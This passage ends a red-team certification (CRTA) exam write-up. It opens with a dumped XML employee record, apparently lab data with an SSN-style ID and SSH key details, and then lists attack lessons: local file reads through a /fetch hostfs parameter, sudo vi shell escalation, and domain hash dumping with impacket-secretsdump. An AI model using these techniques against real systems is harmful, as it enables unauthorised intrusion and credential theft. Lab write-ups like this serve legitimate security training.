      <LastMultiFactorAuth>2024-05-20T14:22:07Z</LastMultiFactorAuth>
    </AccessCredentials>
  </Employee>
  <Employee security-clearance="restricted">
    <ID>E-9173</ID>
    <FullName>Danielle M. Chen</FullName>
    <GovernmentID type="SSN">367-88-4102</GovernmentID>
    <Position>Director of Engineering</Position>
    <Compensation>
      <BaseSalary currency="USD">[REDACTED]</BaseSalary>
      <Equity>2500</Equity>
    </Compensation>
    <AccessCredentials>
      <SSHKeys>
        <Ed25519>
          <Fingerprint>SHA256:7bNq1Rc...YtF62</Fingerprint>
          <PublicKey>ssh-ed25519 AAAAC3N...Vdv2= admin-access@corp</PublicKey>
        </Ed25519>
      </SSHKeys>
    </AccessCredentials>
  </Employee>
</Employees>
C:\Users\Administrator\Desktop>

CRTA Certificate of the Author

CRTA Certificate of the Author
Certified Red Team Analyst (CRTA) credential awarded to Jyotirmoy Avro by CyberWarFare Labs.

Key Lessons & Takeaways

Here are the main lessons learned from taking and passing the CRTA exam:

1. Always Check Source Code & Frontend Files

Developers often leave sensitive details, API routes, or commented-out credentials inside client-side JavaScript and CSS files. Inspecting raw source code should always be one of your first steps during web enumeration.

2. Don’t Rely on Just One Wordlist

If your standard directory discovery tool doesn’t find anything, try different wordlists from SecLists. Switching to a specialized list like fuzz-Bo0oM-friendly.txt made the difference in discovering hidden directories.

3. Read Error Messages Carefully

When a service returns an error page, read every line. In this environment, the application error message explicitly showed how to use the /fetch route and the hostfs parameter to read local host files.

4. Check Command Histories (.bash_history)

After getting access to a Linux machine, check the user’s shell history. Admins often leave IP addresses, commands, or connection attempts behind, which gives you clear targets for lateral movement.

5. Basic PrivEsc Techniques Still Work

Always check sudo -l immediately after landing on a Linux box. Misconfigurations like passwordless sudo /usr/bin/vi allow instant root access via simple text editor commands (:shell).

6. AD Sync Accounts are High-Value Targets

Service accounts used for Active Directory synchronization (like Azure AD Connect) often have elevated rights. Dumping domain hashes with tools like impacket-secretsdump using these sync credentials can compromise the entire Active Directory domain in one command.

Conclusion

If you found this useful, feel free to connect on LinkedIn or check out my previous writeup on the CRTA Lab Solution.

The full writeup is also available on Medium.



Enjoy Reading This Article?

Here are some more articles you might like to read next: